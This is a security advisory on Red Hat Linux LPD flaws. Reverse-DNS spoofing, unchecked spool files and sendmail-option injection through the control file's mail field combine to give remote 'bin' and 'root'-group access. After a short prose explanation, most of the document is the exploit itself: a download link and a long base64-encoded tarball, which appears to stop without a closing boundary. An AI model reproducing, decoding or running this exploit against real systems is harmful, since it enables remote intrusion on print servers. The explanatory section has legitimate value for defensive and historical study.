COMMAND

    lpd

SYSTEMS AFFECTED

    Red Hat Linux 4.x, 5.x, 6.x (all architectures)

PROBLEM

    Following is based on L0pht Security Advisory by Dildog.  This  is
    a relatively complex vulnerability to exploit, but it can be done.
    The problem lies in the fact  that although SNI (now NAI) found  a
    whole bunch of problems in BSD LPD two years ago, for some unknown
    reason, the  majority of  these problems  still affect  Linux LPD.
    It's harder to exploit now, but it's still possible.  The  exploit
    allows any user who can print to an LPD server to gain 'bin'  user
    and 'root' group access to the system remotely.

    The problems being exploited here are four-fold.

    1. LPD allows remote machines to print files without having access
       to LPD, because LPD compares the reversed-resolved peer name of
       the  accepted  socket's  address,  with  the gethostname() name
       returned by the machine, and if they're the same, grants access
       without question.  Hence, if you're the master of your own DNS,
       simply  make  your  IP  address  reverse-resolve  to  the  same
       hostname as the LPD server, and you have access to it.

    2. LPD  allows  you  to  send  as  many data files to the  printer
       spooler directory  as you  want. These  files can  be binaries,
       text, or otherwise.

    3. LPD  allows you  to specify  anything you  want in the 'control
       file'       (often       named       cfBLAHBLAHBLAHBLAH      in
       /var/spool/lpd/<printer>/ ), even  host names and  other things
       that don't exist.

    4. LPD allows you to specify an argument to /usr/sbin/sendmail and
       execute it.   this is done  by specifying that  LPD should send
       mail  back  to  the  print  job  owner  when  the  print job is
       completed ('M' in the cf file).  However, the sendmail argument
       in the LPD cf file doesn't have to be an email address, it  can
       be a sendmail option, such as '-C<alternateconfigfilepath>'.

    So, we have the unfortunate result that one can send several  data
    files to print, including a disguised sendmail configuration file,
    after which a cf file  is sent along, requesting that  sendmail be
    invoked with the configuration file that is sent over.

    Exploit:

        http://www3.l0pht.com/~dildog/qib.tgz

    Below is exploit, but mimed:

    ---
    Content-Type: application/octet-stream; name="qib.tgz"
    Content-Transfer-Encoding: base64
    Content-Disposition: inline; filename="qib.tgz"
    Content-MD5: uxfXepn/ZLP3OgMiSM/seQ==

    H4sIALGUdzgAA+w7a3fbtpL9Gv4K1E5qyZGph59xo7aOJNfa+nUt53Z3k6wPRUISawpgCNKK
    2pP/vjMDgCJlOY+2ac+ere5tTAIzg8HMYDAzAN+Gw6++9K/R2GnsNxrwt9Hc32sV/9rfVwCw
    vbvfbDX2dqG92Ww2dr/a/eKcwS9TqZfAkEEYBXL8MNzH+v+P/t6Gw/pV76h71vtyYzSajcbe
    w/rf3mvuLvS/i+3wd2fnq8aXY2nx+3+u/3/1X2yxf2VekGRxxFlf3PEk5QF74fm3oyiMHYa/
    Kz6VKWee73OlWDpJZDaesNNQZO/Y6WXXdZwTnvANxSZyxlLJMsUBKkTQUIwPHafpsh95yqJQ
    cBYnoUh5klOTzBMsigPdwRRPgAeX/TwJgaG5zDYSGDllYVpjY54iQ+mEM+FNOZMjejYUXdZP
    gYdMZV4UzZmSU07jw7C3nG1EcWPDRfT+CMmyW4HMToA00CDuDR++FKNwnCUghlmYTphnB6gB
    RFDE5UjOzgc5qrFhlhKEl3CxAVwL4nBjIlWqXP42C+822AhmpmkZKOBXznhAc5OaYA3xBJHy
    gS+VhlGE87diC/UkplLc8rnmE94TJmeCdc8HSCrhIEjQRMKVjLI0lAKp+5EXTvW8CaF/ybwg
    SJAmAd5x0glyrVDGSGmUoUDfglzDUQhiwdloDXiKIFFsVnFgEDChmTeHrgSWl2JTzwc9IF0Y
    FelNvDu+GKFISBMBZYM6kkwIVB/wfXjpOC2XnVuNoVkACasmCUKfoRKtvfhyipijRE5JzsVO
    ZMBLUzBwAKkhaIyWhqODN3R9Lcy1se+zLYlNunkNrHxbs6AylFAiZYq8kRRzgnayNaZC4YPm
    AXmDCc4DEuswBG7Q5EmuoHUWyyRllSFPZxz0vdtsEcPNRmunCiPuuOwqE8QFsYVcenGcSDAS
    L6WJThEeV9ah82joqck6c+sI/zySvhexMDYr8jv2nPSGoxO30FC0XXhVXARTL4yYPxqjkUKT
    ryZM+UkYEyKo5DuH1hCLgYI3BuF7qEV0HhuxlDGiu/5ow7qBXK8Lygv7dzyktRGMRpm4neth
    ljHvMeAyx3k0kEvr+9DMutlw8X+7Dfu09wyss8EKvDml8Rxn12WlFuYnHGSrcGYTDssOlExa
    au01nrWs04FtA5ejUbfLBpKWL48EJ07RX1l3AYCHJDatHwO0YJAIY/91MscJ5T2uSx6rI4Xg
    PvplILzoxK6e8r0YpDTxEs9HVYLX3fifN9rT4XCPwX+krM5Tvx4qlZH5L7U45OIDdgLN2qkn
    POIe6GDPbbDKCQ9m4biKUD/xRPCItdxtt7WLcgHXFO4d7OWTe7wYNiR/pv/NwqDdrIDxV9kY
    HhsVXDzwDBtJrOzrfRqOs6dXHK0xImJliquc0Gkdutapg68Ef6r9ArkFsyOZnQNJNLRbwP2p
    lu8vMGNQaAArzplzb6JVh2ouW4a2NxAxOHL/FvwY/BOH3KetyE+82GXX4J/Aec0mc8IHHmJg
    I0RrGoZgL+BoQdQZQL7AdoTlAvdT1/kb9n+M/0pT/AJjfCT+a+7uNin+22k09luNbYz/tvf3
    m//Ef3/Bb/3rOqzKOjhZx0Gv8B2rp9O4rmD1hdMQNsPnz1nv4thZh80sygL+XM1VPZ3HXLmT
    78qtSvq3PL3fnHrlxkyEKg3KcCnsQ+NSEzhIcKtpPRSlZi+JvTp2YKuD8SI4dVG5k2FQdX6D
    JU4hZE21voVnIJv58AqMYYhzA8GYwocH+gLbhzToJeKiFmMLIrT1BCuXxzf98951bXDR+elm
    cA3Z01mtf3l5dXF9cXPduawi/JRPFYB+Q8PVGjUV/srlqHJ/0CqBE5gLAcMN7jPtSSqFqtCm
    sNQ98qZhNG8faRawb4ZhMnrWoKJqywOwzSozPHyAg3Z7q0njRKAYLoBOg16tCNoP4xJ3rTbG
    pHG6moFviEztG0tNk87iVkW17EDmrVl603Pn77gfVdbIStVkrVZ42grXDAFw3lkiWONb573j
    oLk6IH0u7tjl0fUJI5TDeqaSxQPFRovX/2w2r/bwdc1xTOBXXAdLi8JJpmxrtNzo2ucV3c7f
    4ds/5Yf+n8LbLzjGh/1/s9Xcaeb5f6vZ0Pn/P/7/L/nVN03SswWLiJJ8TOX4uziSEKzoLBJi
    ncQkbzr/yHMdyicmnrK4lPpRflpjMmGQfwoGmQ2lzjb3M8kxZtlpIqMI6RQz1zyUAyCTBP8C
    SrqXt1Iemeehy6nroocw1iD+wyZsqVTX2ExmUWDdBoSxtqqAk88j+mtsoBxqA9o3bAfFcjq/
    hTmoMOCYglKqSwF6XhNgm3UIJ//ynXPkizT67L20CBwMy7srPkC249cozWCbm/Byp7dbasDk
    bpiNXjX3tg923nxrmxPu361o9keY/wHjr960104g03Knc1dNYONTLqSzr8UlRvSvxX/A0Kk7
    huBeSPcXOXwtOsUWsAelXovT2US63tQNX4sAwlg/4iMF0kxei5dL72dbnfqdl9QVpIJRHTRa
    f6LqSzDnr8XaEqOvWo2dgwX3mwG15mHCqBbWglEs1TJEawECvfkbwWVgNmMB1hJJsH7aH9HQ
    Hg5N9B7OVAFKj0X2Gca1TZ2Ooo3XNm25atNm3ZB01zYhxtMhfnEMMDH6Z8H+rzyRqBmQAzSB
    f/gxvOOQkEOujwYNsxhV0Bi+bu9V2W9UH6TxRpU1kDmCHbIn6otVH16L16KwMm3pinK/iZSQ
    s07RW5ja15bxC7XXgjI6TMCwe8ht8ooMjDyf55UcTdc6AcC7mCwSeV24kohP5R94DCSlki4y
    tlbDlfGq8YaikmJcwth7HUZagSbcC7xhpKtfugqajLMpF6nSYjaabRPFJhngQse6tUWtRoq6
    aZuaCnrXzWb5WQvQjbtvchVz7dlLc9fu06q8YkyvjQ7jBp8qhkMMIPvnR93u1c35xXnPGoWx
    MOSWoy+ccC2TCW+bSQzn5I7NBI3IYCiAaJ+/PD21lBYG5qPbxgTfqNUwbD076GDNkCnLXktf
    yxTnsFkpr8DNKgy69d2E5nWDYbDV4fslCZWrPrn55VJaEtFCY39USgVKv0dQnyyiz5aPMerL
    LC3W4rXxmOq3P6KSH9OblRaWEoZX7WVr6GVr+dZQM2SqyxaKqYitwC38BRXs9RiwkLCdSSwj
    W7Wgh6sUneE35PN05rPkxDpWdOQbnyhc1QXUlStb83gUoX1BGATZn0zmbAQhkJ6+4Y3Y0btD
    u6L9d3WKtX+fOFSuSm9wgk9bu3s0DrBuwEt6vseqVx65oORVfJ5KT9e2CnKrAWQceT7qB7w3
    1ZpLqjS8w1bWJmLBqC1jTBYLUr24uepenJ/+14J3LeAiEyCUSggkwuelKX8bPn1qp6c3X8u/
    FwCd2jc+ZYfW8v12e+PJxsLul8B0I5DMHzWKIpRHICU/nhvRPqVJWYOrgfFBklqx9gfEHhHA
    0/ZSjyX93vzlEew9vyE0RQ2E9Aa5zCk8/Xa51y/2Fcm9t+R04z0s21xAfW/2GD+CTRDm9uGl
    o/fUj6yYfL/43PWSI/6e1bLY8pcXTeszV03riy+bwrJoldfFQnZfflUsTKSlbaSVG4l+1TZy
    3zr0xDp03ME8dt25ZDoXMT7600teRqeQoUGI5a3aK2ulQ7lFpGW20Jo+Ytlt7umx8wqa2bM/
    oYhmIKlQph/oT7sYWhdhCrU2GPY+jeVim1bfB0ttltmPVduWLDLfrul4UMvFJIULm9SqUw9Z
    6O8uORZFlctptZB2P1KONPakT6tsKl6oDQQePIvcyfga8I8VLh8Spb/gwnCwiOk/UaQwlwF6
    Rp3NYyEEYhOzNMx4JvWtrT3xtetr1YobBHbD9CyU2ULMazWvXvp3AGTS5VqTmgvDd4+1r6ms
    CniqD/MTsFJ2+8OKVHuttq2z1z/Ira6Qa3TtiTRZ02l6MLXMET591nn+h7XgLP3YlAuHWYUJ
    tv70GbYM4T8wx85xYRdZPR+/XKBAAzNc62C5+ifOy4TiZfpPPzaZ4iIqFeLp93cXOP/5ffCH
    9f/C1YgvMsYH6//Nhq757ze2t/d3d7Z36P7f9nZz+5/6/1/wW3fWYb+O50k4nqSs4ldZ89mz
    A/JOaBI11he+yzBYZwRCl8TwjlbgrsA82K4h/i7rJaHPLl3Em3riMwgcEIFtZ/0R1viu+JgK
    YiZreSlCrOqF6RxbOngbTSYi9B6kDyO8mLNMYdhJ9xF1qkunC+OEcxuiwHY9VVTkg501CPGq
    nAKnmAI+jACpsClknPY7vfNBTzvt2ST0J3Q5b8gBLMPrfCbwlTGL+B2PgE0gUapVBCFWQYZ0
    HY84dJz1P+X3p5LR/z56NOidd8+O+qesc3F+3P/x5dXRdf/inB33T3tFQDbMwgii1zlVRX+A
    mPF27gYoATfhwQTiDh9jfsHO4L+jOAEds+be4fbB4c4O63WvUefPDCkQNR3JqsSvD1X9xcv+
    abduxbd14D5zt+v+CP5v4LV2XbeOF8bs1U2PbjuaIw2QOWxaKWR4RZ7/JEn9cTJmHuyHynrV
    H00gtXOnO48O3NY2q7zgyS2P+BzWRqO+V6e1yQqjWyyD8ayIsQvgJQynNFSEF7003v4H0dbZ
    OnPsr0BATRM10QQOPjJuAesuTNIMFmiKxe8V2PfmWcIGayJdasRm49PH1Sd2mOXcBBJPtTSJ
    vU+nAFzf+LMbXPufhluSNuZ0N3EifdppNfvNjxEoTYDOVW+C4WeLfBh5/i0WbW9AdGEcokvV
    RD5mL0vDx+lNJnRFGbVnBKk+xYjKxEAOqTQ2u1My81a9hXjPCjwYV3pQqruAW556qfPvg7rF
    RUgsYSVhwE252RvxNOSKbaEvT/NNQMbkHfDibyKnoQIINVcpnwKYnyWwvQApvLGrS2OpxsIb
    37ZGpbxbfeMPzyBpMOVcsK4U6YvIm3K7e7aPlMrgFfjoTORM1DoIfwzgffFSIHvdMLn00kmt
    lyQyOYGlz5PlLgTv8gh3vvm1PPGS4DQUt0vNg/lUt8pkBhCrhni4C/krd9PFyp9BEqhmS+DH
    YuNRFHo0k3JzkWKpo0D+fmdf++m884RHMb6ES1MowC3P7uEuoljqXjk7FB8P8mn1RQHAdBa0
    d7+zJL/73SUG7nefefGq5gEEMqHPB7Mw9Sf3cQmrLIerDI/Px4k3XdFjcQ1E7WeZRMF9jWIL
    B9oFa1s0WUujlgEWK5fBTKMBXBXewPIy55uwRY8kvKzaTB2nMyMgPLvCSAzXNN4aAZ+Da1kf
    nMIqpG8raG3qkGyGNSef4ykrx2XoHM/osrMNIlx/hs5iilHkKPRDYEN7MiIJPa7rsoCP8IBP
    OwwRzfGDi0X9xRNCpszLUsBLQ5++Nwk4hpGIROfImqSz3v3l8cw9ltLtXJyBO+tcujj42mDq
    JekaXrT25vq2SmUKTxBKiiyKqk53QL5PxhyCGZmY6zdm4CEdrWkJ4maqRVEJXe7WwHOlMwjA
    ACIAzhC36nQu2A/sCfsaSXrGbdEZD12tCYBkBeUHrlOk4YjuoMNQUuDUtKCBhuuuRvfAQ4+A
    qcSj0vE9Ska4EdhG4kVI6dUrG06wf2M8YKbByBBRELHC4E3Xi7EHkH6ykQOLtfkye3OVrbrW
    Ubrhv86O9FczuAuywINx8HY7capiIKVS/ApEjGEY833N5w+Cw5yQKZKqZvjBTowWkWot41wq
    j9tXVef4Cu8XokmiNdWpd8tspkhlNpGsrw9lMrH46ia/KVBBE2FT7kGWEug9QBtDNAfDubIk
    xjzFm0qRMRRaCyxNPDR64OSKbm7FuFRAWT7tqffHA4InSDDgbzOZ6g9cYucn/cp/ly60/fQO
    7YRQWmpCN7LAsPm7WOINeeAtv6dPC6Sm75PBOpxhLVe9zcCcAp4TPH2AoJEQD6yMSoToRoen
    NZSTOjs0RnuPGPgf84Uc6OHxmbPeOaWcx+n09N9cfQsOcSpaZShhIRddaHFY1gWQSAG99hmI
    +8w4Jzp2RQyOwQF9OOCNIdDoCszIeldb3aPe2cU5+ZSrXrd/1etcO5RTF3MgSpjhr8imQ544
    3f+mDMq555bJJ1/EOvVd4ZCRMmausWWEDWUwRyns43cN6CRhycZZ+j1EQgMU8Isw7WND+xgm
    xxH/YAu/gMDlB2IXAV79A+Aepu0AfCYD3o5B/Ae0lGYewOL0PdyYtPdPOCaaAauAd/YyyDgz
    AUMfMvATWYq2esFoG/sZcNvNBgWPeMKHAoCNYkHJAuJ+16aVSH2clh9QC6fZ1IgMEUdYKxgC
    qVuaJwV8FDECnbNQHEP3C+qFQWnUqfeOSFhZ4SGGsw7A3rsz3TSAFoTGH8k2G6o0TPVnesYv
    wZqsQPAubquL73sw0HyBbYNs2NYOGS+/2+MOCnIlW4NVxIUCu1/DK3wR4GkFhSludzAYxL1o
    F6itExkFPQu/0JY/4f5tLPHoA6w143j9CvzJCK8E4O2qOTsHQuQtR1lklxnE2zjRTo7cx8OQ
    Oy8y+rCaM+BzNgW1Y/Bs3skKQppXaXe1qqcLqKRH68ZxCkcAe6UhjrQi20iitHLYhOLrOukf
    WCzE3O1yfCB7BWRkz0JrE8UyPakMXcdLEb7bUukcrHPtGPzVzRp9i6eoFiRjik9ojO+RygBQ
    EAoiI5IxmFAsEw+Pv9G+jSyuoRUtk4bD0qk2KYgB2SKDY94YHVTKfux1LgaAz6Pge21jAEiN
    RUucAC++zIBzbYYnMu7ga7u5v7xMJhB+21ViQ/G2vjUfDhdSmowQMRwLmXAMIRR9sUchkI5Y
    QrHYxK33Ig77hNMFFKRQvL+bmOSMbOjKtBmv1H56dITn6NqK9K531j/rbcHmBQFDFnnolsvO
    UjsjEZyFU04aVO3rJCPRm4DdpIrcS0C6MQTKgGG6MGxuP/617o70u/t4dlh4NeGZyJce5pSe
    b25aAJlO3t7BZlrxrYexUuBRZul9xGvd0d6dInKMDl3fFqOwES8MZKpY47qgMGRA7V3b3HYp
    TIZGMl3QCX3zijcJCkuXVfLr3itoVLUNE+41odpVizTxm00t461reZhb/QV7qYzsr+XCu0Ry
    rBN7ADiV41N8bD8j3rj+RBbvbktpN2u6rakXPvg2iHzIeaEt82spEQ9nMJqzq5MBQgs+My4d
    WSB3ZD1DzoP1RdZacFTwhUwvZz0B+tIa9mwVc8oU4kz4ELCmxndeRMEAobUfWVjX4Oz60h53
    F0y6Sy2XMkmtUeNzm6tpGpNyk/DO88EbRN4YPf2lfrfA4BInYHqY/uSBYgX488RcCl61cQre
    uuDvINIDI/vf9q70q60ryc9X6cwfcQ1ymk0yksCLjIQIS5sOGFqyz6TjZjISeoBsocfoSbHp
    JP23T/2q6i5PCwYHe/IBnRwHPd1bd6tbe9W76oqSNCZE0FyO6YAPW4RJA1jhq/h6yV/5EHqE
    pOjHpD/PGhA8kZgHOv8dj/daQIvqU8fEhE94VNR2HgmRE8N0T1A6gazfv1b7fhItArSie0GZ
    FdDeP9RbUy1epprax+upx0TI4rFHbJYprqaeDU6vCOBF+Ai8BeOP9WaWA0Y/pTmpi2ByqeeD
    JBoHQbdrWC2l59RNTsceaVr3GDhWqqrl1SR8CPoFgkLHkGTDcWjjxR1bXe+kZ+B+KfRhRuvd
    0GA0gAemWroBQj+vjZ51xscHrlbXLib64rkde9bPCrQ4s7cbt1hKtbF0bpTQVjHJ1GtB0j6U
    5yuSYxC+DYkRlIL/ynPUSXLdH7Y+2ZAk5VYw6x2jT4O7eDwfXYkcJEnB7egMjJD+QWoMM54R
    0WqYnzzFUWKtzFXIq7BXqE1EEz17TYb2oph/0eV2EnMFkjrd+VFfTBSdFaa8asFUkqZttAUX
    pYACIk3f/GSiPo3XZW0bEjc1gaki1QfeMGyy78eqEAw2drd/onk1iS5WQ2L6dn/HLKhXzNom
    kAyEv7udChvfkKwJkY97EHsYVJ9XiswaWUEncmDlEaZdrPU7rV2iQgIVmKhzL44/jK6YfADc
    jrblybFsBxCdNkY4I3Gyjbztwx+NWJaI4euzwx85uB5NCvjOuFToR3wUoi8idQkyaBuhQApC
    1BRiqkNkLJEwBy2HaR7sRiSjgcnCXCwGbCLFuCiD69e0hsMfD2jJ1aHyjR6CDElIHEBghRXB
    WrTY0iJ4FxJxpq8HW9XnN3YeRGc4QC9yqHyFp9RZtt5Kil7tOb0geXpA3BfrRokSAAUuAitV
    jhSOtq0tZ4IidhwODykG1va4z4TFCzwNEuJItIiHQ7oUZeZxsGU5sZeOD5xEpq/PlA2VLRey
    wmFEwpNsWce8j9ssQ9CgV6RJieUCqgtfcRL4PuxS67/FbTek2vbdcGL9laGKz2UkbshXNJwW
    YYC2e+G0uwvYYWgbEwQ5cqkRPsr2tYvMJ7weJMNNd6hNCAkDKCckFMTslQh0Ux6UFqRghPYM
    MDSfS7fPMLbOI0sD7fX0hSLYv+1u4TY9bxK36iZx/vnz9Rf5oshibIA2CVug9eqJyN+BQtmM
    e0RHkhXztjccdD+tmKPm3pPiiolRUifh+zhhw7bKFj8uCGSMpWZcud3MG+j2cFv+ZdEKtoHS
    zj/w6khQIHLM9YU6bFKNUxL2GVHU0YBxdoea7qAJiQHct3VqS+MM4dbpnkk9IL7p/TjUuDQK
    QO8fgL2OHRZuMRhEUOaHcZ6oM3F1REZ1RJeGcQjqSf+X7iDuXzIqw2JNB6s6u7iRWEk8Y0fB
    rm9bfQL9hGfLqZM93KGjHxilU8xqGz8dfdjvb9Fj2dWPhmUsugEJRysg+kGR366IsUiVx0+M
    OY1R31soPAbvq7WBRXCYr8z2663DXZLjfunGPS6awr49mmGy6LjnLrfeZuucE46tLYKYHs3C
    6ugLkL9zHKs5iMEkmiQZ/3UQIYPxXE0n1dx7F6Bicr88yf300uT44r59vf+jAww9W4V4dRcq
    9J6HDu3d6uNV7pA7NybHZ4avFVXmmfWxqTAiitbpwDoafVRFn05k1P84aF1d8aWAEkFoiB+9
    uoQBAFDtDU4g2GKy+mr34Eh2xdbz4QE7cZSwyGIDGVo+rxWgufP38fkoAQAPdNsZizRXjW21
    HSGAqOUkOvfVxYCt4PWVl5V/Liy+O+GlOLMLX7hDYjt/R2/ATMTgBPp6CWM+7ae6J0IDle5y
    7Hf5SFspjMrj+qP/fvLuZHkSr2Dr4QordIZSHGahvEgrOG2Bf8E20T2/MK/3m7RRdPUdhu1T
    e3YpJvaOcO/8R3VumYpuYYXlGqvCy50zC6P+IufvfkSwzzVDFeeZc1NGqm9FbOsQbUrRIj49
    HcH1RHwSwhumrz9DD6NHQ53miCbyfUxKVLQld7Z6ldK5PgIayzq0EzQIuC47kJ3f+bL1njmB
    L3zG15jlTbCeUX8rYXHKSpHTmXFA0sCHGfGIMEXQ+ZQIOLKWHEcDe++KY8wM6xPfghjeXWQ/
    ZB5qwyin+ZWshosoHbejffdYJR8f7TD9w+ZpnUfgs5hqqk6brY+Zr+aZnVdXs8eqyOetAZJX
    dQy5s5ov01/tUe9DNf+U/no/6tNfsuiZc3qjed/spZo9G5bl4cmg/7gKXKsHFiABBswBRN6Y
    G85l5/eGY/7KYfYNOxfeiEUh+2Y0Or26Yb94ZntC85wB8jN7lc2+2jzebLBWl4fpq2I2cue1
    7KuG+FI7FZPbTPiIc4nJFXKbPy/Qg9xv8qiQ+3kxm8kVSKIh8rzAZHkxtzkQP2FukCsAq3Pd
    3OYomwE+50ZEtX97iT5EvF9t7tDYuCx5Et7pmuZa/Cz4smcbCGHObX7KfeIp5n7LnecK3GLm
    T58294ju5V8TntLvn+Cqg8Ej6vjh6NFmb9Ou1j7H1A7tyIqA+f0ONmdYyHXrufc1bjHjp/n/
    /JNFmwX/ZjKZxu5/Nfbf7L/+q2m8Pdht/onj4+4wqCFCSGSdiFPZ5PMGZ262rTe7+y+xc5u7
    zjDbZHWE1XBx0ou/yywMB6SFQvjBdd6o15yt8LQFk1YjV6edztXxk/eiMX+qWIvDgnB5FJMg
    BgXTrHrTk0eLUopsQIQAZCKJLrss/xHcJcAlHC0CNP192SJ1xMmDaGA2DP1Twz9ooo1NroRn
    Zeoy6nOnDfSqZRt12xJN6Usx49vUIXtUUJEOgCuVsClBxYOSb92PidlWADbb8MzXzyN4VvS9
    3FM7zDt04X4nwQreYQX0V9mcuK77x7885cXLwrkP9z5xM0Svd9xLJj6IuCdJ/L2InbHG7axJ
    Lw8Ly8jBcRP0QV+S7hu2nYziN4x/eUlfie7KcwGQOkp/SC9NTZvqAVGHNmQ7iwpRR3rAZeKx
    D2FpdN6kwSn/BServFTE8shHj1L4l8Yy3JM+/PmNve1n5TJxjBGpdSQEau08GqwfDS4hfHbh
    9nS4t4H5YqoXMXHAD1GEKAqzQaiUW1bk41W5Jcno0SdWP2gjETqSbVg0XbaNi1Mbc4Q3ta7p
    hSIUxZ8cobzXODqsbNT40jHAZZM6FCSBcSJ8ep4sIJHal6Bg4Ea9tVJvr9RPK2Dn9U7N3k9w
    7VbC7u6rFmqq0n6RisdyfgviG27OslnhFdQtstGoJBb3z9l6YuZW5tg1W5mzDrceMnJxu0lX
    RNADy2ZsjYTxqhNeZQZfYfC08FztxVOsHtukIyld2vDWTF7bGRIKz+LTkQRIsXnNooaCBOoB
    vANsr8pL3mC6LrXMjH4yGWkOTA+bTQ5en7CvMpbUZVVKmuoWUaQfHboGUilCSXu0oObU1E2R
    yB/O97xFe6p4wj1cc786P0qrBy/WtQ92Yv1GaouapNWHrM1+cIQqyFWtO4oEsprx4DALk1vL
    ZEintCq66uesPGjoCDxM6jB2+yAVYWWh6bOnQfPmUerc7aKLpvD27fYxLcMWeYBUKKI4r71g
    JvuWXV/dAQ3OQlfp9bnBeJBk1A7ilYJImscGdSOSFbGlcPonzoIpB90W3sPH2DdsXF0J6x4k
    dLmG1OOSb0s9EQbA2123PR5jQnVhXW/p/nHTtpaeIAF66DvNOPH9PoLP6UGNbx6haDdhwwon
    3H+MXH2YVqDaWHrnAN6srNxCMiEoRELa8XAII0Wrd8Z334ktd5ZOeIRs88XTQEYJxRC9/l5Z
    c9jsQiwFn8OL+J6wpMZn1I9tFF+L0+an9CaEutQrMQ2CDO3u8mRvQa+Z/QX9xvq/w90+GZ94
    XeSDE5VxmMe/axXahdNC58T2JeDVjzOXTN2SqHeW15jFoNOy7VMP8Yp7MBGx9bRtfGMX6jab
    MrGAFXs2XWKkl5dRB0Wce2zZhd+A12gj9FqJw0FPDJYsRQs3LFwALz13Yn+X1aQ7hj8tpRei
    zeGJbkltdrYUaVVuOOVxSZ3J2pPNgDbm/j1zWmXMDETScUAxaKmnnm/kVRKNOrENhxSTlFZb
    mxxt2hGWJhb9XhtNw6wA1uFtYNH6qlPWx4sryNqCtgW7y5nJPf4C/ShNQ9ZAQvbgdjZHUmUY
    Km1+EFmj8hdREWg6dD6BWAsJ0skXQjZFyPTSpJNpEUocn50ZEmeSbrt3PRZGnEbEMQZqUY/N
    i33oU2w9wvpOSZvAatWT24ffleVSyeprDR45yEsHR9tbB2Pc+b2cNYB/EpAQvUKaJI5NlcaX
    /aHxydL6OxELJE4S8wIZ358VWUKFG4dCWIi1dWPZiFWtEGmO/Yw+ddnHyBeTOZDifJutXTA+
    iP0WplUYs63klNfbTFBLj1T7qF8IsazWzMWjkVpsSX9AZdVelwuepBnBMvgqXSW+UCnOPHqM
    +8maH8CN+K/PmOpujceeGT7D2Q6iU6+ki1wMc7DjisisNw6nWVFYGEFUAmcbIHMH8YvcJ1nk
    n78M/VMTJZb6LNC0a2Uw/0AaWL2LMDC27FWs+pjVCTUI32nONLfVbDg3BrXKmGV9IFBWWHTV
    qzwvBw/FDQ9CCcFGCCXnSQj0xXMGqNdfaTYpjcnEyEVuyGEwblxOwTU6MVotSWwuBlV0AStd
    yzVwNz/F9yKSBZEQTFddCUDUhY/Olhtwb0ZYcGTnMu5wEPuiqMnUPU43b5l5XTCHxxaM2Xdx
    3jDGpNpS93lpJ55NGP7Fc5YGgmzepqzWbXldyegNe221MDE3KEjquF4oFso4rLmDUKk33V4v
    Om/1LOKrZ9xt1lx2voFRVftW+b0GAQVO3Lk63+I5kj7PYyRTY6pEyARBpgwOj0LwjhCOD+zM
    BTaAGl+KDTEzjYllSoEDicy1TOtR00beFluLLpfIny/reoX0GQWFaRQdAyjMgllimPv9X4jA
    BO8wmUsx7Lv3hj0m/mhprC+jyKlN1q6Sqx6JjxdULXDPSVIPnFvqkgoVTS9purvNBIjoMswT
    TJETGB+sLFQQc8DSZB+i5nU4r2BYM/maEfta3gQ95S4v2MwO8L7FQGbJ2B/mzuJ4joHpwKJe
    3w1zeEMCKQ4DTC5UuS9NlscLJ56ZOV0nAKRnLJP1P/6RGTso2cy08wmmbVu6mY8BEBkypJNF
    4AxHGE1XDlcDKlMMDdKXEYou2LmD3EzVkzxVH7+YGQtDxC44L2cCmeeQVezdu1zpxHhJmL8y
    NHllkcKssG80UE5/CfK+Em+qUSRW0+KCy/lSmcSItiLG6UWME4rVTHMxy2UTiuBySpMAl82S
    GI+mAF0ObEt3h3xXqF4inoB2+1Vb/QaILphdgXyowqwJ8X382rCJ2xpNTWg2E2x5JjhquHSU
    Oe0OTkdd6/p1iRxJbGkY4lw4OAPxUTjc6kH6onsxRARhyxvHxdI0dfK9WNAdROejXis0arDC
    bY1hUvQLGoh7eQ5LxaSmfEhs1PRi2OOMDVCudofVQNvXAW3mEHEWATT2yOnKYe4ZY75mlrmq
    xyZByqekevo4y8WQ+3i1svZiHXjQTB02X6vz3oiLFXtosnRI+bQPLLDEKh1x2bOUuccP4m9w
    rhTcX2fNYBbD8Y9qdPF3V/Pogsw6O0b1IC1lqp4z43wztznU5I8qGzeJ4OusVOrsvOIsSU7W
    KsEH2cbbuSTsidZ7H7pFel7Z5nr6DK96I3lTEAcWJLGbDgcdkpoEu1GDSdJSuJG05d9dGKUE
    SrFSPy/7A6euknUQXSHpgmTa6PJqeA2GKfExIijGIuueDeL+0J6bFfskSjCakk1pOCj2YtQG
    YfEEirD6FWM1fYXNa1qDRthAUjPHmtTESYSl1mCevOIKtskQYZDLnWiI2JeGNlOqzXjP3iXt
    XNOtKLPWIqllkmBMNyvoXZM9DHe4FNAuMYBcRJpysRz2VDshVOl+7CfmiTXv4ncX9JUYt21g
    OD7Z+jxq9ggrloWwX4nUJgQd8U0PAJuNwDaFcdmujWBEpCzR1GQRgeDtqI37pSg2V5ox0xeY
    TDjfJsVZJrq7X27qTgypYrlMitKpz6nmXBQl5mxB23rQthY4Jmp/2BwhN3A+ZZ9nyiAGibNr
    1e8q75gonkjelehiCBslBOhFmfn7oQgwOawruuNiOwwSRINxjd2/7lpM8vrMrXj9OCJkcjWO
    kjjg526bw1Nz9m/S3Wp8JRioiDuAu1HPlWtgHTbb3ykowcELubI9hRaV+ar73HPZcO7obLy8
    EyW2xbGq5Q3IHlEEttAfJzVRJ0wpzG1X+PePOMEWhgjEc7XhHpl7xBU/njPGBoZ1jghga2TK
    m6zudivlpRzLz0RFtw55UXtCidC2Env+2gwjsL5683r8TSwocoFI2dbADxJK1EFUQejeHZc+
    XOQMHPHwnPeEU65Y05DIQfJ/eQ9gMrS3akzcCuh6sW55Y8Bw0i1QKdYqbekpOYkpmJumx/JT
    y1bCi+SmEi5bKeDalGUzf7KO+A0PZcZ6SnW9mcWw9diSSuGS7gEp51OElGOwrO9bw7FdJQtf
    JEHM2vdJRMsim4RmN8vhZxWdgAS7O66ge//Ye0HQXsSB4ONd4EAqpDuofuZbfJzewp+yxgDw
    rOEEDEtFpFxVBc9+A1D0v0OR3+2OhztMwAMfoqraNwCZ4VNJO9Fs68CTtmxtV1PUCmqMYlqj
    wIcc3oewi3WouU6xZLF9DSxdC7HUxkJ/Gzxdu9U2q//qHoacTy38ORYutAD0KbQ0scPFpvJx
    VaL7XDZnrPkImETDoc/iWLROW9JECumcd1mxWF8vqrwDj2DKm2jbO0tmgNEOVkEk81/jK9RW
    +J0v51QQZqNbmwWlcFM3CDqwcJiUcZHFkDnMng2MKLyDaKXOS1Lz+EW7kH7mzAYzoHsSaOft
    WR/E8Ye3Vzvi5oS+K8UO4D1wvk/7WnGbZZnV3pnj1oAuAYzVFXG70RxrgILXji8EdbMW7c8l
    /tnmmy1wVgMXYWeHCmfTD7VeKl662XYdy9wRxpThxWBk8C4dLsUKIxNqxmim6qgvQXUd+yL6
